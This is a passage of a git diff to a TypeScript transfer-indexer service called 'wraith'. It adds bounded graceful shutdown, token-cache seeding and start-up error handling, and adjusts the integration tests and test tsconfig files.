type\n" + + "[wraith] change needs a deliberate migration, not --accept-data-loss.", + ); + process.exit(1); + } + } console.log("[wraith] Database ready."); + // ── Start REST API + WebSocket server ───────────────────────────────────── + const app = createApp(); + const server = http.createServer(app); + // ── Graceful shutdown ────────────────────────────────────────────────────── + // Bound the drain so a stuck request cannot block shutdown forever. + const SHUTDOWN_TIMEOUT_MS = parseInt(process.env.SHUTDOWN_TIMEOUT_MS ?? "10000", 10); + let shuttingDown = false; const shutdown = async (signal: string) => { + if (shuttingDown) return; + shuttingDown = true; console.log(`\n[wraith] Received ${signal} — shutting down gracefully…`); + + // Stop accepting new connections and wait for in-flight requests to drain. + const drained = new Promise((resolve) => { + server.close(() => resolve()); + }); + const timeout = new Promise((resolve) => { + setTimeout(() => { + console.warn( + `[wraith] Shutdown timed out after ${SHUTDOWN_TIMEOUT_MS}ms — forcing exit.`, + ); + resolve(); + }, SHUTDOWN_TIMEOUT_MS).unref(); + }); + await Promise.race([drained, timeout]); + await prisma.$disconnect(); process.exit(0); }; process.on("SIGINT", () => shutdown("SIGINT")); process.on("SIGTERM", () => shutdown("SIGTERM")); - // ── Start REST API + WebSocket server ───────────────────────────────────── - const app = createApp(); - const server = http.createServer(app); - // Attach WebSocket upgrade handler — clients connect to /subscribe/:address attachWebSocketServer(server); @@ -49,14 +128,10 @@ async function main() { // ── Start partition retention scheduler ─────────────────────────────────── startPartitionRetentionJob(); - // API-only mode. The integration harness starts the service to exercise HTTP - // routes against a seeded database; letting the indexer loop run there would - // make every request race an ingest that is also writing to the same tables, - // and would need live RPC the harness has no reason to depend on. - if (process.env.SKIP_INDEXER === "true") { - console.log("[wraith] SKIP_INDEXER=true — API-only mode, indexer not started."); - return; - } + // Seed token metadata for every served network before handling read paths. + // API-only deployments skip the indexer, so without this explicit seed their + // displayAmount values would silently fall back to 7 decimals for every token. + await Promise.all(enabledNetworks().map((network) => initTokenCache(network))); // ── Start indexer in the background ─────────────────────────────────────── // startIndexer() runs an infinite loop; we intentionally don't await it @@ -76,4 +151,8 @@ async function main() { } } -main(); +main().catch((err) => { + const message = err instanceof Error ? err.message : String(err); + console.error(`[wraith] Fatal start-up error: ${message}`); + process.exit(1); +}); diff --git a/tests/integration/api.test.ts b/tests/integration/api.test.ts index de4b52754..1a94974e2 100644 --- a/tests/integration/api.test.ts +++ b/tests/integration/api.test.ts @@ -9,9 +9,9 @@ import { const API_BASE_URL = process.env.INTEGRATION_API_URL ?? "http://localhost:3300"; -async function getJson(path: string) { +async function getJson(path: string): Promise> { const response = await fetch(`${API_BASE_URL}${path}`); - const body = await response.json(); + const body = (await response.json()) as Record; expect(response.status, JSON.stringify(body)).toBe(200); return body; diff --git a/tests/integration/reorg.test.ts b/tests/integration/reorg.test.ts index adda895f9..d545bf9ac 100644 --- a/tests/integration/reorg.test.ts +++ b/tests/integration/reorg.test.ts @@ -16,6 +16,7 @@ * mirrors the Postgres @unique(eventId) constraint. */ +import { vi } from "vitest"; import type { TransferRecord } from "../../src/db"; // ── In-memory dedup store ─────────────────────────────────────────────────── diff --git a/tests/integration/ws.test.ts b/tests/integration/ws.test.ts index bbab1e704..eeda6cf00 100644 --- a/tests/integration/ws.test.ts +++ b/tests/integration/ws.test.ts @@ -25,10 +25,16 @@ function makeTransfer(overrides: Partial = {}): TransferEvent { ledgerClosedAt: new Date("2025-01-01T00:00:00Z"), txHash: "txhash", eventId: "ev-1", + network: "testnet", ...overrides, }; } +function emit(transfer: TransferEvent): void { + const { network, ...record } = transfer; + emitTransfer(record, network); +} + /** Start a test server; resolves when it's listening. */ async function startServer(): Promise<{ url: string; close: () => Promise }> { const server = http.createServer(); @@ -91,7 +97,7 @@ describe("WebSocket /subscribe/:address", () => { const ws = await connect(serverUrl, `/subscribe/${ADDR}`); const pending = collectMessages(ws, 1); - emitTransfer(makeTransfer({ toAddress: ADDR })); + emit(makeTransfer({ toAddress: ADDR })); const [msg] = await pending as [Record]; expect(msg.toAddress).toBe(ADDR); @@ -104,7 +110,7 @@ describe("WebSocket /subscribe/:address", () => { const ws = await connect(serverUrl, `/subscribe/${ADDR}`); const pending = collectMessages(ws, 1); - emitTransfer(makeTransfer({ fromAddress: ADDR, toAddress: OTHER })); + emit(makeTransfer({ fromAddress: ADDR, toAddress: OTHER })); const [msg] = await pending as [Record]; expect(msg.fromAddress).toBe(ADDR); @@ -119,7 +125,7 @@ describe("WebSocket /subscribe/:address", () => { ws.on("message", () => { received = true; }); // emit for a completely different address - emitTransfer(makeTransfer({ fromAddress: OTHER, toAddress: "GTHIRD" })); + emit(makeTransfer({ fromAddress: OTHER, toAddress: "GTHIRD" })); // small wait to confirm nothing arrives await new Promise((r) => setTimeout(r, 50)); @@ -132,8 +138,8 @@ describe("WebSocket /subscribe/:address", () => { const ws = await connect(serverUrl, `/subscribe/${ADDR}`); const pending = collectMessages(ws, 2); - emitTransfer(makeTransfer({ toAddress: ADDR, eventId: "ev-a" })); - emitTransfer(makeTransfer({ toAddress: ADDR, eventId: "ev-b" })); + emit(makeTransfer({ toAddress: ADDR, eventId: "ev-a" })); + emit(makeTransfer({ toAddress: ADDR, eventId: "ev-b" })); const msgs = await pending as Array>; expect(msgs.map((m) => m.eventId)).toEqual(["ev-a", "ev-b"]); @@ -143,7 +149,7 @@ describe("WebSocket /subscribe/:address", () => { await new Promise((r) => setTimeout(r, 30)); // Emitting after disconnect should not throw - expect(() => emitTransfer(makeTransfer({ toAddress: ADDR }))).not.toThrow(); + expect(() => emit(makeTransfer({ toAddress: ADDR }))).not.toThrow(); }); it("backpressure — buffers many rapid messages without error", async () => { @@ -154,7 +160,7 @@ describe("WebSocket /subscribe/:address", () => { // Fire all transfers synchronously — simulates a fast producer / slow consumer for (let i = 0; i < COUNT; i++) { - emitTransfer(makeTransfer({ toAddress: ADDR, eventId: `bp-${i}` })); + emit(makeTransfer({ toAddress: ADDR, eventId: `bp-${i}` })); } const msgs = await pending as Array>; diff --git a/tsconfig.jest.json b/tsconfig.jest.json new file mode 100644 index 000000000..da824f960 --- /dev/null +++ b/tsconfig.jest.json @@ -0,0 +1,8 @@ +{ + "extends": "./tsconfig.test.json", + "compilerOptions": { + "module": "commonjs", + "moduleResolution": "node", + "noEmit": false + } +} diff --git a/tsconfig.test.json b/tsconfig.test.json index efc81b36b..57b747810 100644 --- a/tsconfig.test.json +++ b/tsconfig.test.json @@ -2,7 +2,10 @@ "extends": "./tsconfig.json", "compilerOptions": { "rootDir": ".", - "noEmit": true + "noEmit": true, + "module": "ESNext", + "moduleResolution": "bundler", + "types": ["node", "jest", "vitest/globals"] }, "include": ["src/**/*", "tests/**/*"] }